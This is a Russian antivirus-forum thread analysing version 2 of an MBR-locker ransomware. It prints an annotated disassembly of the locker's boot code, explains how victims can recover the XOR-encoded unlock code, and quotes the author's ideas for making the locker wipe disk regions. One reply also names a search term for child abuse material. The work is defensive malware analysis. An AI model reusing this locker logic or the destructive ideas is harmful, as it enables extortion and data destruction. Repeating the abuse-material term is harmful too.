Описание Trojan.MBRlock - SMS вымогатель v.2

thyrex

Ассоциация VN/VIP
VIP
Сообщения
3,786
Реакции
2,394
Вот что имеем из конструктора от vazonez:

Чередование регистра букв и использование вместо букв похожих по начертанию цифр явно намекает на возраст автора

1. Удален таймер для автоматической разблокировки системы.
2. Код разблокировки шифруется (xor byte)
3. Оригинальный MBR шифруется (xor byte)
Оба байта отличаются и генерируются случайно при работе конструктора

; холостое начало кода
.data:2AA02008 0BAh, 80h, 0 mov dx, 80h
.data:2AA0200B 90h nop

.data:2AA0202E 90h nop

.data:2AA0202F 0BAh, 80h, 0 mov dx, 80h
.data:2AA02032 0B9h, 3, 0 mov cx, 3
.data:2AA02035 0B8h, 3, 2 mov ax, 203h
.data:2AA02038 0BBh, 0, 10h mov bx, 1000h
.data:2AA0203B 0CDh, 13h int 13h
.data:2AA0203D 73h, 5 jnc 2AA02044
.data:2AA0203F 0B8h, 47h, 0Eh mov ax, 0E47h
.data:2AA02042 0CDh, 10h int 10h
.data:2AA02044 0B8h, 0, 11h mov ax, 1100h
.data:2AA02047 0BDh, 0, 10h mov bp, 1000h
.data:2AA0204A 0B9h, 40h, 0 mov cx, 40h
.data:2AA0204D 0BAh, 0C0h, 0 mov dx, 0C0h
.data:2AA02050 0B7h, 10h mov bh, 10h
.data:2AA02052 0B3h, 0 mov bl, 0
.data:2AA02054 0CDh, 10h int 10h
.data:2AA02056 0BAh, 80h, 0 mov dx, 80h
.data:2AA02059 0B9h, 5, 0 mov cx, 5
; читаем 5 и 6 секторы
.data:2AA0205C 0B8h, 2, 2 mov ax, 202h
.data:2AA0205F 0BBh, 0, 30h mov bx, 3000h

.data:2AA02062 0CDh, 13h int 13h
.data:2AA02064 66h, 60h pushad
; вывод сообщения блокировщика указанной длины выбранным цветом
.data:2AA02066 0B8h, 1, 13h mov ax, 1301h
.data:2AA02069 0BBh, 0Ch, 0 mov bx, 0Ch
.data:2AA0206C 0B9h, 0A3h, 2 mov cx, 02A3h
.data:2AA0206F 31h, 0D2h xor dx, dx
.data:2AA02071 0BDh, 0, 30h mov bp, 3000h
.data:2AA02074 0CDh, 10h int 10h
.data:2AA02076 66h, 61h popad
.data:2AA02078 66h, 60h pushad
; вывод сообщения ENTER CODE выбранным цветом
.data:2AA0207A 0B8h, 1, 13h mov ax, 1301h
.data:2AA0207D 0BBh, 0Ah, 0 mov bx, 0Ah
.data:2AA02080 0B9h, 0Ch, 0 mov cx, 0Ch
.data:2AA02083 0BAh, 0, 17h mov dx, 1700h
.data:2AA02086 0BDh, 52h, 7Dh mov bp, 7D52h
.data:2AA02089 0CDh, 10h int 10h
.data:2AA0208B 66h, 61h popad
.data:2AA0208D 0BFh, 0, 6Ch mov di, 6C00h
.data:2AA02090 0B4h, 0 mov ah, 0
.data:2AA02092 57h push di
.data:2AA02093 0CDh, 16h int 16h
.data:2AA02095 5Fh pop di
.data:2AA02096 0EBh, 37h jmps 2AA020CF
.data:2AA02098 3Ch, 8 cmp al, 8
.data:2AA0209A 75h, 33h jne 2AA020CF
.data:2AA0209C 66h, 60h pushad
.data:2AA0209E 0B4h, 3 mov ah, 3
.data:2AA020A0 0B7h, 0 mov bh, 0
.data:2AA020A2 80h, 0FAh, 0Dh cmp dl, 0Dh
.data:2AA020A5 0CDh, 10h int 10h
.data:2AA020A7 66h, 61h popad
.data:2AA020A9 76h, 0E5h jbe 2AA02090
.data:2AA020AB 66h, 60h pushad
.data:2AA020AD 0B4h, 3 mov ah, 3
.data:2AA020AF 0B7h, 0 mov bh, 0
.data:2AA020B1 0CDh, 10h int 10h
.data:2AA020B3 52h push dx
.data:2AA020B4 0FEh, 0CAh dec dl
.data:2AA020B6 0B7h, 0 mov bh, 0
.data:2AA020B8 0B4h, 2 mov ah, 2
.data:2AA020BA 0CDh, 10h int 10h
.data:2AA020BC 0B8h, 20h, 0Eh mov ax, 0E20h
.data:2AA020BF 0CDh, 10h int 10h
.data:2AA020C1 5Ah pop dx
.data:2AA020C2 0FEh, 0CAh dec dl
.data:2AA020C4 0B7h, 0 mov bh, 0
.data:2AA020C6 0B4h, 2 mov ah, 2
.data:2AA020C8 0CDh, 10h int 10h
.data:2AA020CA 66h, 61h popad
.data:2AA020CC 4Fh dec di
.data:2AA020CD 0EBh, 0C1h jmps 00000090
.data:2AA020CF 3Ch,0Dh cmp al, 0Dh
.data:2AA020D1 75h, 55h jne 2AA02128
; здесь введенный код
.data:2AA020D3 0BEh, 08Ch, 7Dh mov si, 7D8Ch (2AA02194)
.data:2AA020D6 0BFh, 0, 6Ch mov di, 6C00h
.data:2AA020D9 0B5h, 0 mov ch, 0
.data:2AA020DB 0EAh, 72h, 7Dh, 0, 0 jmpf 00000:07D72 (2AA0217A)
.data:2AA020E0 90h nop
.data:2AA020E1 90h nop
.data:2AA020E2 90h nop

.data:2AA020E3 66h, 60h pushad
.data:2AA020E5 0B4h, 2 mov ah, 2
.data:2AA020E7 0B7h, 0 mov bh, 0
.data:2AA020E9 0BAh, 0Ch, 17h mov dx, 170Ch
.data:2AA020EC 0CDh, 10h int 10h
.data:2AA020EE 0B8h, 20h, 0Ah mov ax, 0A20h
.data:2AA020F1 0B9h, 64h, 0 mov cx, 64h
.data:2AA020F4 0CDh, 10h int 10h
.data:2AA020F6 0B9h, 5, 0 mov cx, 5
.data:2AA020F9 31h, 0D2h xor dx, dx
.data:2AA020FB 0B4h, 86h mov ah, 86h
.data:2AA020FD 0CDh, 15h int 15h
.data:2AA020FF 0B8h, 1, 13h mov ax, 1301h
.data:2AA02102 0BBh, 0Ch, 0 mov bx, 0Ch
.data:2AA02105 0B9h, 6, 0 mov cx, 6
.data:2AA02108 0BAh, 0, 18h mov dx, 1800h
.data:2AA0210B 0E8h, 6, 0 call 2AA02114
.data:2AA0210E 0Dh
.data:2AA0210F 45h ERROR
.data:2AA02114 5Dh pop bp
.data:2AA02115 0CDh, 10h int 10h
.data:2AA02117 0B4h, 2 mov ah, 2
.data:2AA02119 0B7h, 0 mov bh, 0
.data:2AA0211B 0BAh, 0Ch, 17h mov dx, 170Ch
.data:2AA0211E 0CDh, 10h int 10h
.data:2AA02120 66h, 61h popad
.data:2AA02122 0BFh, 0, 6Ch mov di, 6C00h
.data:2AA02125 0E9h, 68h, 0FFh jmp 2AA02090
.data:2AA02128 3Ch, 20h cmp al, 20h
.data:2AA0212A 0Fh, 82h, 62h, 0FFh jb 2AA02090
.data:2AA0212E 3Ch, 7Eh cmp al, 7Eh
.data:2AA02130 0Fh, 87h, 5Ch, 0FFh ja 2AA02090
.data:2AA02134 0AAh stosb
.data:2AA02135 0B4h, 0Eh mov ah, 0Eh
.data:2AA02137 57h push di
.data:2AA02138 0CDh, 10h int 10h
.data:2AA0213A 5Fh pop di
.data:2AA0213B 0E9h, 52h, 0FFh jmp 2AA02090
.data:2AA0213E 6Ah, 0 push 0
.data:2AA02140 7 pop es
.data:2AA02141 0FFh, 0Eh, 13h, 4 dec word ptr [0413h]

.data:2AA02145 6Ah, 0 push 0
.data:2AA02147 7 pop es
.data:2AA02148 90h nop
.data:2AA02149 90h nop
.data:2AA0214A 90h nop
.data:2AA0214B 90h nop
.data:2AA0214C 0EAh, 5Fh, 7Dh, 0, 0 jmpf 00000:07D5F (2AA02167)
.data:2AA02151 0

.data:2AA02159 0
.data:2AA0215A 45h 'EnTeR c0d3: '
.data:2AA02166 db 0
.data:2AA02167 0BAh, 80h, 0 mov dx, 80h
.data:2AA0216A 0B9h, 8, 0 mov cx, 8
.data:2AA0216D 0B8h, 1, 2 mov ax, 201h
.data:2AA02170 0BBh, 0, 6 mov bx, 600
.data:2AA02173 0CDh, 13h int 13h
; переход на дешифровку оригинальной MBR
.data:2AA02175 0EAh, 38h, 7, 0, 0 jmpf 00000:00738h

; проверка кода
.data:2AA0217A 8Ah, 0Eh, 8Bh, 7Dh mov cl, [7D8Bh] (2AA02193)
.data:2AA0217E 0ACh lodsb
.data:2AA0217F 8Ah, 15h mov dl, [di]
.data:2AA02181 80h, 0F2h, 0Dh xor dl, 0Dh
.data:2AA02184 47h inc di
.data:2AA02185 3Ah, 0C2h cmp al, dl
.data:2AA02187 0Fh, 85h, 58h, 0FFh jnz 2AA020E3
.data:2AA0218B 49h dec cx
.data:2AA0218C 75h, 0F0h jne 2AA0217E
.data:2AA0218E 0EAh, 36h, 7Dh, 0, 0 jmpf 00000:07D36 (2AA0213E)
.data:2AA02193 db 8
.data:2AA02194 5Dh ; зашифрованный пароль
.data:2AA02195 6Ch
.data:2AA02196 5Eh
.data:2AA02197 7Eh
.data:2AA02198 5Ah
.data:2AA02199 62h
.data:2AA0219A 5Fh
.data:2AA0219B 69h
.data:2AA0219C 20h
.data:2AA0219D 20h
.data:2AA0219E 20h
.data:2AA0219F 20h

.data:2AA02D40 66h, 60h pushad
.data:2AA02D42 6Ah, 0 push 0
.data:2AA02D44 7 pop es
.data:2AA02D45 0B8h, 1, 13h mov ax, 1301h
.data:2AA02D48 0BBh, 8, 0 mov bx, 8
.data:2AA02D4B 0B9h, 0Eh, 0 mov cx, 0Eh
.data:2AA02D4E 0BAh, 0, 18h mov dx, 1800h
.data:2AA02D51 0E8h, 0Eh, 0 call 2AA02D62
.data:2AA02D54 4Ch ; 'LoAdInG……'
.data:2AA02D61 db 0Dh
.data:2AA02D62 5Dh pop bp
.data:2AA02D63 0CDh, 10h int 10h
.data:2AA02D65 66h, 61h popad
.data:2AA02D67 6Ah, 0 push 0
.data:2AA02D69 7 pop es
.data:2AA02D6A 0B2h, 80h mov dl, 80h
.data:2AA02D6C 0B9h, 2, 0 mov cx, 2
.data:2AA02D6F 0B8h, 1, 2 mov ax, 201h
.data:2AA02D72 0BBh, 0, 7Ch mov bx, 7C00h
.data:2AA02D75 0CDh, 13h int 13h
.data:2AA02D77 0BEh, 0, 7Ch mov si, 7C00h
.data:2AA02D7A 8Bh, 0FEh mov di, si
.data:2AA02D7C 0B9h, 2, 0 mov cx, 200h
.data:2AA02D7F 0ACh lodsb
.data:2AA02D80 34h, 8Dh xor al, 8Dh
.data:2AA02D82 0AAh stosb
.data:2AA02D83 49h dec cx
.data:2AA02D84 75h, 0F9h jnz 2AA02D7F
.data:2AA02D86 0B2h, 80h mov dl, 80h
.data:2AA02D88 0B9h, 1, 0 mov cx, 1
.data:2AA02D8B 0B8h, 1, 3 mov ax, 301h
.data:2AA02D8E 0BBh, 0, 7Ch mov bx, 7C00h
.data:2AA02D91 0CDh, 13h int 13h
.data:2AA02D93 0EAh, 0, 7Ch, 0, 0 jmpf 00000:07C00

Добавлено через 30 минут 11 секунд
Как узнать код разблокировки?

1. Получаем дамп MBR с помощью TDSSkiller, например
1. Скачайте образ Alkid Live CD, запишите образ на болванку
2. Скачайте TDSSkiller, распакуйте и запишите на флешку

На проблемной машине:

1. Включите в BIOS загрузку с CD
2. Подключите флешку
3. Загрузитесь с созданного диска
4. Запустите TDSSkiller таким образом буква флешки:\tdsskiller.exe -qpath c:\log -qmbr

2. Открываем файл c:\log в каком-либо hex-редакторе

3. По смещению 18B хранится длина пароля
По смещению 17B хранится байт, с помощью которого был зашифрован код
Выполняем операцию xor с каждым байтом зашифрованного пароля, начиная со смещения 18C

Если это сложно, то можно воспользоваться утилитой которая сделает это в автоматическом режиме.
 
Последнее редактирование модератором:
Краткий список изменений в этой версии:
автор творения написал(а):
Немного подправил костыли в коде локера. Теперь пароль поксорен — защита от ламака, плюс к этому ксорится оригинальный мбр, который копируется во второй сектор. Еще что было сделано — убрана проверка времени, был какой-то код
 
как отреагировал "автор":
Эти "бородатые дяди" вывесили немножечко эмоциональный отчёд о mbr-локере, намекнули на мой возраст, и вообще, чуть ли в душу не н*срали. Ну а как же, если человек Ху*чИт ВоТ тАк И еЩе v0t t4k, значит он унылый школьник. Сарказму чтоле не понимаюд?

В общем-то этого и ожидалось ;)
 
так может на это и расчет - дабы его не спалили
самое обидное, что никакого "кода в чеке" не будет

Работал бы отдел "К", как у людей, давно б спалили, а то им бы только торренты закрывать, да нелицензионный софт в фирмах искать, напрягаться не надо и прибыль большая. Даже если Microsoft или кто другой предложит очередные $$, все равно попилят и найдут не того, кого надо, а того, кто сознается.
 
Работал бы отдел "К", как у людей, давно б спалили, а то им бы только торренты закрывать, да нелицензионный софт в фирмах искать, напрягаться не надо и прибыль большая. Даже если Microsoft или кто другой предложит очередные $$, все равно попилят и найдут не того, кого надо, а того, кто сознается.
вот именно, постоянно обращаются с просьбой удалить баннер, чаще простой, тот, что заменяет userinit и taskmgr, но за последние три дня уже 4 бука с вариациями обсуждаемого в данной теме mbrlocker'a

Его там никогда не было.
в том и дело, что если бы он пропадал, это одно, а так выходит банальное вымогательство или рекет - бабло перечислено, но проблема не исчезает

кстати, вот что еще пишет "автор"
Товарисч Xylitol обновил свой пост о mbr-локере. Ну что уж сказать, типа молодец, хе-хе. Даже скрипто-кодес слепил для чтения xor'еного пароля.

В ответ можно было бы залепить фичу рандомизации адреса пароля в дампе. Только без сорцев на руках я ебал такое счастье. Да что уж тут, была идея при установке делать xor рандомных участков харда, чтобы простое восстановление старого MBR шло лесом. Можно было сделать фичу количества попыток ввода пароля. Превысили - делаем в цикле rdtsc и ксорим этими рандомными (почти, но кому какое дело) двордами хард. Но, повторюсь, без сорцев это дело скучно и однообразно, хексоёбство надоело. Так что оставим сие в покое.
благо, что оне скорее всего не сделает того, что обещал
 
в том и дело, что если бы он пропадал, это одно, а так выходит банальное вымогательство или рекет - бабло перечислено, но проблема не исчезает
Сюрприз.Так было всегда с момента появления подобного софта.
 
если память не изменяет - те баннеры, что просили смс, например 4460, удалялись после ввода кода, по крайней мере окно исчезало
 
если память не изменяет - те баннеры, что просили смс, например 4460, удалялись после ввода кода, по крайней мере окно исчезало
Черного кобеля не отмыть до бела. :facepalm: как вымогали деньги так и вымогают.
 
в том и дело, что если бы он пропадал, это одно, а так выходит банальное вымогательство или рекет - бабло перечислено, но проблема не исчезает
Сюрприз.Так было всегда с момента появления подобного софта.
Увы и ах, но нет. Я уж не знаю что Вы встречали, не телепат, увы. Но адекватный софт всегда предусматривал снятие оного, как, впрочем, и схема монетизации. От локеров и вплоть до gpcode. В некоторых локерах делали даже хоткеи для анлока, на случай умственно отсталого end-юзера.
В этом же примере — да, тот кто закодил сие и начал юзать, не придумал ничего умнее такого вот расклада.
 
ммм мы говорим об одном и том же явлении.

Подход немного разнится, согласен... этот как гангстеры и гопники (как пример). Одни просто зарабатывают деньги, вторые еще хотят и в "душу нагадить" юзеру.

Но так или иначе все сводиться к банальному вымогательству денег. :)
 
Работал бы отдел "К", как у людей, давно б спалили, а то им бы только торренты закрывать, да нелицензионный софт в фирмах искать, напрягаться не надо и прибыль большая.
Я вас умоляю. Работают подобные структуры там, где можно иметь профит. И это понятие международное.

Пример - яркий и показательный: думаете, педофилов у нас закрывают? Вбейте в Гугле "pthc" - получите over 9000 ссылок, из которых реальных где-то 10%. Я уже молчу про наличие подобного в Onion, I2P, FreeNet и прочем.
Работа подобных органов сродни ГАИ: показательно наказать единицы, чтобы получить на лапу от десятков...

Одно положительно: у нас всегда будет над чем работать ;)

Добавлено через 4 минуты 42 секунды
тот кто закодил сие и начал юзать, не придумал ничего умнее такого вот расклада.
Ну фото "командос"-разработчика мы уже видели. И теперь поглядим, из какого же умного и сложного для восприятия не технически подкованному человеку взята идея локера ;)

Да уж, куда там MSDN и DDK ;)
 
Я вас умоляю. Работают подобные структуры там, где можно иметь профит. И это понятие международное.

А я про что, про то же самое. "Как у людей" не имелось ввиду зарубежом.
 
Назад
Сверху Снизу